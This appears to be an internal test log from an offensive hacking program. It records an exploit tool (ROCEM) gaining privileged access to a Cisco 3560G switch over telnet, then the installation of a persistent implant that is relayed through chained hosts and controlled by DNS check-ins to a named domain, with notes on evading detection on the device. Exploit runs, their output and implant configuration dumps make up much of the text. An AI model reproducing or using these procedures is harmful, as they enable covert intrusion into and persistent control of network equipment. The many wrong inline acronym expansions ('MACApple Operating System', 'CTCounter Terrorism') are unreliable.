Owner: User #71467

HG v3.1.3-Adverse-01 Testing

HG was delivered for JQJADVERSE on 9/8/15 for the Cisco 3560G.  Testing scope will include testing ROCEM v1.2 for ADVERSE, delivered to Test Range on 9/15/15, as well as testing HG Base functionality, DNSDomain Name System Checkin capability, SMITE and on-device OPSEC since this will be a persistent delivery.  

CONOP will be

• Flux into network through three different hosts - first a webserver, then a DC, then to a host that is connected to an adjacent 2960 on a management subnet
• Trigger will be sent through flux, and CTCounter Terrorism session will be established back through flux initially
• An initial CTCounter Terrorism session will be established and DNSDomain Name System Checkin capability verified.  
• Subsequent comms with HG will be via DNSDomain Name System checkin.
• DNS Checkin has been preconfigured with capability to execute SMITE

Testing Summary

Testing Notes

Information about target:

• Hardware is WS-C3560G-24TS-S (DUT is WS-C3560G-24PS-E)
• Software is c3560-ipbase-mz.122-35.SE5
• BOOTLDR: C3560 Boot Loader (C3560-HBOOT-M) Version 12.2(25r)SEE4, RELEASE SOFTWARE (fc1) (DUT is Version 12.2(25r)SE1)

VMs Used

• Adverse-Flux1 - XX.XX.XXX.XX (IR-DATAK-20020718[IR])/192.168.0.21
• Adverse-Flux2/BIND - 192.168.0.11
• Adverse-Flux3 - 192.168.221.40
• Adverse-ICON-Debian8 - 172.20.12.34
• Adverse-Proxy - XX.XX.XXX.X (IR-DATAK-20020718[IR])/192.168.0.4
• Adverse-Seeds - 192.168.211.10
• DNS Server - X.X.X.X (LVLT-GOGL-8-8-8[US])
• DNS forwarding server 4.4.4.4

1. Smoke Test of ROCEM
   1. Set up the Flux nodes to hop through Flux1 -> Flux2 -> Flux3.
   2. Added a route on ICON VMVirtual Machine for 192.168.0.0/24 to point to the Flux tunnel.
   3. Started ROCEM interactive session - successful:
      

      root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -i 192.168.0.254
      [+] Validating data/interactive.bin
      [+] Validating data/set.bin
      [+] Validating data/transfer.bin
      [+] Validating data/unset.bin

      ****************************************
      Image: c3560-ipbase-mz.122-35.SE5
      Host: 192.168.0.254
      Action: Interactive
      ****************************************

      Proceed? (y/n)y
      Trying 127.0.0.1...
      [*] Attempting connection to host 192.168.0.254:23
      Connected to 127.0.0.1.
      Escape character is '^]'.
      [+] Connection established
      [*] Starting interactive session

      User Access Verification

      Password:
      MLS-Sth#

       

      MLS-Sth# show priv
      Current privilege level is 15
      MLS-Sth#show users
      Line User Host(s) Idle Location
      * 1 vty 0 idle 00:00:00 192.168.221.40

      Interface User Mode Idle Peer Address

      MLS-Sth#exit
      Connection closed by foreign host.
      [+] Unsetting
      [*] Attempting connection to host 192.168.0.254:23
      [+] Connection established
      [*] Sending Protocol Step 1
      [*] Sending Protocol Step 2
      [+] Done
      root@debian:/home/user1/ops/adverse/adverse-1r/rocem#

   4. Set/Unset ROCEM - Successful

   5. oot@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -s 192.168.0.254
      [+] Validating data/interactive.bin
      [+] Validating data/set.bin
      [+] Validating data/transfer.bin
      [+] Validating data/unset.bin

      ****************************************
      Image: c3560-ipbase-mz.122-35.SE5
      Host: 192.168.0.254
      Action: Set
      ****************************************

      Proceed? (y/n)y
      [*] Attempting connection to host 192.168.0.254:23
      [+] Connection established
      [*] Sending Protocol Step 1
      [*] Sending Protocol Step 2
      [+] Done
      root@debian:/home/user1/ops/adverse/adverse-1r/rocem# telnet 192.168.0.254
      Trying 192.168.0.254...
      Connected to 192.168.0.254.
      Escape character is '^]'.

      MLS-Sth#exit
      Connection closed by foreign host.
      root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -u 192.168.0.254
      [+] Validating data/interactive.bin
      [+] Validating data/set.bin
      [+] Validating data/transfer.bin
      [+] Validating data/unset.bin

      ****************************************
      Image: c3560-ipbase-mz.122-35.SE5
      Host: 192.168.0.254
      Action: Unset
      ****************************************

      Proceed? (y/n)y
      [*] Attempting connection to host 192.168.0.254:23
      [+] Connection established
      [*] Sending Protocol Step 1
      [*] Sending Protocol Step 2
      [+] Done
      root@debian:/home/user1/ops/adverse/adverse-1r/rocem# telnet 192.168.0.254
      Trying 192.168.0.254...
      Connected to 192.168.0.254.
      Escape character is '^]'.

      
      User Access Verification

      Password:
      telnet> q
      Connection closed.
      root@debian:/home/user1/ops/adverse/adverse-1r/rocem

2. Smoke test of HG install

   1. Setup Flux nodes
   2. Established Seeds traffic - on Seeds host, manually set proxy and then authenticated once manually.  Then kicked off ARP, DNSDomain Name System and HTTPSHypertext Transfer Protocol Secure seeds.
   3. Set ROCEM
   4. IAC attacked - rcvd acceptable error codes
   5. Uploaded HG - via 3 flux nodes, this takes a while even with interpacket delay set to 0
   6. Unset ROCEM
   7. Had to chmod 755 on adverse-1h.txt file - it was read only when I tried to edit even as root.  permissions were read and execute only.
   8. Established CTCounter Terrorism session through flux

   9. Verified DNSDomain Name System checkin is enabled - time to check in 2d 23h 29m 58s

   10. Verified DNSDomain Name System checkin commands available

   11. Disabled SDCMicrosoft software packaging format and changed dns checkin delay to 60s, dns checkin variance to 10s for testing purposes

   12. Verified that DNSDomain Name System checkin is successful
       

       [192.168.211.10]> checkin show
       [Success]

       DnsCheckin
       Enabled Yes
       SDCMicrosoft software packaging format Enabled No
       Explicit Parameters Enabled No
       Time to Next Check-In 0d 0h 0m 35s
       Initial Delay 3d 0h 0m 0s
       Delay 0d 0h 1m 0s
       Variance 0d 0h 0m 10s
       Domain www.vesselwatcher.net
       SDCMicrosoft software packaging format Time Interval 0d 0h 0m 0s
       SDCMicrosoft software packaging format Max Existing Host Age 0d 0h 0m 0s
       Last Command File Executed ci_loc1_resetfailsafe.cmd
       Lifetime success count 957
       Lifetime failure count 0
       Failsafe Max 12
       Current Failsafe Count 0
       Deadman Enabled Yes
       Last Error None (0)
       Time Since Last Error 0d 0h 0m 0s

       Explicit Parameters
       IP 0.0.0.0
       Subnet 0.0.0.0
       MACApple Operating System 00:00:00:00:00:00
       VLANVirtual Local Area Network 0
       TTLTime To Live 0
       Next Hop MACApple Operating System 00:00:00:00:00:00
       Nameserver 0.0.0.0
       ************ Success ************
       [checkin show]

   13. Enabled SDCMicrosoft software packaging format with 12 hour time frame, however DNSDomain Name System checkins did not work.  Attempted to web browse from Seeds host to give HG some traffic, however it still didn't work.

   14. Disabled SDCMicrosoft software packaging format again and DNSDomain Name System checkins did not resume
   15. Had to disable and then re-enable dns checkin to get dns checkins to resume
   16. Re-enabled SDC, then bounced dns checkin service.
   17. DNS checkin did not resume.  Will continue with SDCMicrosoft software packaging format testing later, disabling at this time
   18. Changed the cname to time on X.X.X.X (LVLT-GOGL-8-8-8[US]) and restarted bind service.
   19. Due to positive response caching on the Flux2 BINDDNSDomain Name System server software server, had to change the positive response cache ttl to 300s on that server and restart bind service
   20. At next DNSDomain Name System checkin, cname time was used and the commands were executed reset failsafe, change variance to 0, change sdc to 1 hour, and change delay to 25 hours.
   21. Changed cname back loc1 on X.X.X.X (LVLT-GOGL-8-8-8[US]).  Verified new caching settings are taking effect - after 300s, Flux2 BINDDNSDomain Name System server software sent the query to 4.4.4.4.
   22. Changed max-cache-ttl on 4.4.4.4 as well as flux2/BIND to 30s.  
   23. Changed cname to loc3 and restarted bind9 on X.X.X.X (LVLT-GOGL-8-8-8[US]).
   24. At next checkin, the new loc3 commands were executed:
       

       [192.168.211.10]> checkin show
       [Success]

       DnsCheckin
       Enabled Yes
       SDCMicrosoft software packaging format Enabled Yes
       Explicit Parameters Enabled No
       Time to Next Check-In 15d 7h 40m 43s
       Initial Delay 3d 0h 0m 0s
       Delay 15d 0h 0m 0s
       Variance 0d 12h 0m 0s
       Domain www.vesselwatcher.net
       SDCMicrosoft software packaging format Time Interval 0d 12h 0m 0s
       SDCMicrosoft software packaging format Max Existing Host Age 0d 0h 0m 0s
       Last Command File Executed ci_map1_changedelay15d.cmd
       Lifetime success count 994
       Lifetime failure count 1
       Failsafe Max 12
       Current Failsafe Count 0
       Deadman Enabled Yes
       Last Error DNSDomain Name System Comms Failure (101)
       Time Since Last Error 0d 0h 1m 4s

       Explicit Parameters
       IP 0.0.0.0
       Subnet 0.0.0.0
       MACApple Operating System 00:00:00:00:00:00
       VLANVirtual Local Area Network 0
       TTLTime To Live 0
       Next Hop MACApple Operating System 00:00:00:00:00:00
       Nameserver 0.0.0.0
       ************ Success ************
       [checkin show]

3. On-Device Opsec
   1. With HG still installed and CTCounter Terrorism session still active after the last series of tests run, collected a show tech from the 3560G - saved to file
   2. Used dns checkin command to uninstall HG - collected another show tech for comparison
   3. Reloaded 3560G - collected another show tech for comparison
   4. Notes - Observed EAREnterprise Archive 5012 - LOTS of blank lines in show stack after HG uninstall.
      1. Also observed Init process missing after HG install
         
      2. TCP Command process running
      3. Need to verify sw forwarding counter in show controller output
      4. About 4M additional memory used while HG installed.